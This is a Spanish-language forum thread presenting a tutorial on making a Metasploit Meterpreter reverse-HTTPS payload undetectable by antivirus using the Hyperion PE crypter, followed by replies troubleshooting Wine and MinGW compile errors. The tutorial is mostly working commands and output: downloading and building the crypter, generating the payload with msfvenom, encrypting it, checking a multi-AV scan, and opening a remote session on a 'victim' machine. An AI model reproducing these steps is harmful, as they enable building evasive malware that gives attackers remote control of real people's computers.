Metasploit + Hyperion (PE Crypter) para la indetección de ejecutables maliciosos

Iniciado por Aryenal.Bt, Noviembre 14, 2012, 05:59:09 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Todos sabemos lo fácil que es inyectar un payload en un ejecutable mediante msfvenom (msfpayload + msfencoder)... y también lo fácil que es que el fichero resultante sea detectado por multitud de antivirus.

Utilizar un encoder de Metasploit no es la solución y, de hecho, a veces es mejor no usarlos o es indiferente. Nos encontramos entonces que tenemos que luchar contra la detección de firmas, la heurística y los sandboxes de los antivirus. No hay una técnica única, ni una mejor que otra, simplemente cualquiera es buena si conseguimos un bajo ratio de detección o un binario FUD.

El otro día revisamos la técnica de Assembly Ghost Writing y hoy vamos a ver el funcionamiento de un PE crypter bastante reciente denominado Hyperion.
Este crypter desarrollado por NullSecurity actua como un packer pero, en lugar de ofuscar el payload (scrambling) y encapsularlo con las instrucciones necesarias para desofuscarlo, Hyperion cifra el payload y lo encapsula con una clave AES débil la cual simplemente se rompe por fuerza bruta en tiempo de ejecución. ¿Ingenioso verdad?, vamos a ver su instalación, funcionamiento y resultado en una distribución BackTrack:

1. Descarga e instalación del crypter:

Código: php
root@bt:~# wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip
root@bt:~# unzip Hyperion-1.0.zip
root@bt:~# cd Hyperion-1.0
root@bt:~/Hyperion-1.0# wine /root/.wine/drive_c/MinGW/bin/g++.exe ./Src/Crypter/*.cpp -o crypter.exe
root@bt:~/Hyperion-1.0# ls -l *.exe
crypter.exe  Examples  Fasm  FasmAES-1.0  license.txt  Makefile  Obj  readme.txt  Src
root@bt:~/Hyperion-1.0# ls -las *.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe


2. Creación del payload con Metasploit:

Código: php
root@bt:~/Hyperion-1.0# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 -f exe > payload.exe
root@bt:~/Hyperion-1.0# ls -las *.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe
76 -rw-r--r-- 1 root root  73802 2012-11-14 06:32 payload.exe


3. Cifrado con Hyperion:

Código: php
root@bt:~/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe

root@bt:/home/pruebas/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe

Opening payload.exe
Copied file to memory: 0x115890
Found valid MZ signature
Found pointer to PE Header: 0xe8
Found valid PE signature
Found a PE32 file
Number of Data Directories: 16
Image Base: 0x400000

Found Section: .text
VSize: 0xa966, VAddress: 0x1000, RawSize: 0xb000, RawAddress: 0x1000

Found Section: .rdata
VSize: 0xfe6, VAddress: 0xc000, RawSize: 0x1000, RawAddress: 0xc000

Found Section: .data
VSize: 0x705c, VAddress: 0xd000, RawSize: 0x4000, RawAddress: 0xd000

Found Section: .rsrc
VSize: 0x7c8, VAddress: 0x15000, RawSize: 0x1000, RawAddress: 0x11000

Input file size + Checksum: 0x1204e
Rounded up to a multiple of key size: 0x12050
Generated Checksum: 0x5f076d
Generated Encryption Key: 0x3 0x0 0x3 0x3 0x0 0x1 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0

Written encrypted input file as fasm array to:
-> Src\FasmContainer32\infile.asm

Written input file's image base to:
-> Src\FasmContainer32\imagebase.asm

Written input file's image size to:
-> Src\FasmContainer32\sizeofimage.asm

Written keysize to:
-> Src\FasmContainer32\keysize.inc

Starting FASM with the following parameters:
Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encrypted_payload.exe
FASM Working Directory: Z:\home\pruebas\Hyperion-1.0

Executing fasm.exe

root@bt:/home/pruebas/Hyperion-1.0# flat assembler  version 1.69.31  (886317 kilobytes memory)
5 passes, 0.1 seconds, 92672 bytes.

root@bt:~/Hyperion-1.0# ls -las *.exe
root@bt:/home/pruebas/Hyperion-1.0# ls -las *.exe
76 -rw-r--r-- 1 root root  73802 2012-11-14 08:46 payload.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe
92 -rwxr-xr-x 1 root root  92672 2012-11-14 06:39 encrypted_payload.exe
76 -rw-r--r-- 1 root root  73802 2012-11-14 06:32 payload.exe


4. Detección multi-AV:

File Info

Report date: 2012-11-14 15:57:54 (GMT 1)
File name: encrypted-payload-exe
File size: 92672 bytes
MD5 Hash: e52fa3edf724db47a629e6f422ff3395
SHA1 Hash: 4378caceebf0926fe24e7bae65daaa8aeefe962b
Detection rate: 5 on 14 (36% )
Status: INFECTED

Detections

Asquared - Trojan.Win32.Spy!IK
Avast -
AVG -
Avira - TR/Crypt.XPACK.Gen
BitDefender -
ClamAV -
Comodo -
DrWeb -
Fprot -
IkarusT3 - Trojan.Win32.Spy
Panda - Trj/Genetic.gen
STOPZilla -
TrendMicro - PAK_Generic.001
VBA32 -

Scan report generated by
NoVirusThanks.org


5. Ejecución de meterpreter:

Código: php
root@bt:~# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 E
[*] Please wait while we load the module tree...

_                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_https
LHOST => 192.168.249.128
LPORT => 443
[*] Started HTTPS reverse handler on https://192.168.249.128:443/
[*] Starting the payload handler...
[*] 192.168.249.1:54391 Request received for /cV3p...
[*] 192.168.249.1:54391 Staging connection for target /cV3p received...
[*] Patched user-agent at offset 641512...
[*] Patched transport at offset 641172...
[*] Patched URL at offset 641240...
[*] Patched Expiration Timeout at offset 641772...
[*] Patched Communication Timeout at offset 641776...
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54391) at 2012-11-14 06:49:43 -0500

meterpreter > systeminfo
[-] Unknown command: systeminfo.
meterpreter > getid
[-] Unknown command: getid.
meterpreter > getuid
Server username: PANDORA\vmotos


Como véis, hemos conseguido que nuestro payload se ejecute sin ser detectado en la máquina de la víctima (con AV McAfee) obteniendo una sesión remota de Meterpreter.

En próximos artículos repasaremos otras técnicas para la evasión de antivirus como modding, firmas de ejecutables, avkillers, etc. Si conocéis alguna otra o queréis que veamos alguna antes en particular no dudéis en comentar la entrada.

Funte: hackplayers

Tengo un problema:

Wine: Descriptor inválido. Cómo puedo solucionarlo??


Gracias de antemano.




Scanned Today; Hacked Tomorrow
Scanned today; Hacked tomorrow.

Bro en tu captura veo que no encuentra wine!

Antes lo tienes instalado?

Código: bash
sudo apt-get install wine


Regards,
Snifer
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Lo tengo instalado y funcionando, eso es lo que me mosquea.




Scanned today; Hacked tomorrow.

Scanned today; Hacked tomorrow.

Es que tu error indica que no estas mandando previamente en el path donde lo llamas! a g++.exe checalo.

Regards,
Snifer
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!




Ok. He estado buscando g++.exe y no lo encuentro. Si reinstalo wine se solucionará??



Scanned Today; Hacked Tomorrow
Scanned today; Hacked tomorrow.

Eso mismo tienes instalado g++.exe? :| ...

EDIT:


Tengo wine bien instalado en su última versión.



Scanned Today; Hacked Tomorrow

Borre tu comentario no hagas doble post ;).

Regards,
Snifer
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Ok. No me di cuenta. El primero lo hice con el lap y el segundo con el móvil. Tenía que haberlo editado.

Hablando del tema... Tenía entendido que el compilador venía preinstalado ya en kali. No es así??
Volveré a instalarlo, gracias.




Scanned today; Hacked tomorrow.

Scanned today; Hacked tomorrow.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ok. No me di cuenta. El primero lo hice con el lap y el segundo con el móvil. Tenía que haberlo editado.

Hablando del tema... Tenía entendido que el compilador venía preinstalado ya en kali. No es así??
Volveré a instalarlo, gracias.





Emmmm es que mira lo que andas llamando es un .exe! D:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Bueno... ya tengo instalado MinGW, pero ahora qué problema tengo??
He estado buscando antes de preguntar, y no encuentro nada.



Scanned Today; Hacked Tomorrow
Scanned today; Hacked tomorrow.

Nuevamente  te digo mira que andas llamando un .exe !!!!  lo tienes en ese path?


Regards,
Snifer
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



A ver... Snifer, efectivamente, estaba poniendo mal la ruta, pero ahora me lanza estos errores. Los archivos .exe los puedo ejecutar sin problemas.

Los errores me los lanza a esta carpeta, pero los archivos están: mingw\\libexec\\gcc\\mingw32\\4.8.1

root@MYokai:~# wine .wine/drive_c/MinGW/bin/g++.exe ./Hyperion-1.0/Src/Crypter/*.cpp -o crypter.exe
err:module:import_dll Library libmpc-3.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:import_dll Library libmpfr-4.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:import_dll Library zlib1.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:LdrInitializeThunk Main exe initialization for L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe" failed, status c0000135
err:module:import_dll Library libmpc-3.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:import_dll Library libmpfr-4.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:import_dll Library zlib1.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:LdrInitializeThunk Main exe initialization for L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe" failed, status c0000135
err:module:import_dll Library libmpc-3.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:import_dll Library libmpfr-4.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:import_dll Library zlib1.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:LdrInitializeThunk Main exe initialization for L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe" failed, status c0000135
err:module:import_dll Library libmpc-3.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:import_dll Library libmpfr-4.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:import_dll Library zlib1.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:LdrInitializeThunk Main exe initialization for L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe" failed, status c0000135
err:module:import_dll Library libmpc-3.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:import_dll Library libmpfr-4.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:import_dll Library zlib1.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found
err:module:LdrInitializeThunk Main exe initialization for L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe" failed, status c0000135

Gracias y perdón por ser tan pesado, pero cuando no lo entiendo  :(... pregunto para entenderlo  :).



Scanned Today; Hacked Tomorrow
Scanned today; Hacked tomorrow.

Ando desde el movil, respecto al nuevo error viene porque las dll no estan siendo cargadas correctamente y esto deriva a que no se cargue checa esto.

err:module:import_dll Library libmpc-3.dll (which is needed by L"H:\\.wine\\drive_c\\mingw\\libexec\\gcc\\mingw32\\4.8.1\\cc1plus.exe") not found


Emmmmm mas rato me conecto a pc y lo checo bien, pero indaga por ahí!

PD: Respecto a  las preguntas no te preocupes para eso estamos ;)

Regards,
Snifer
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!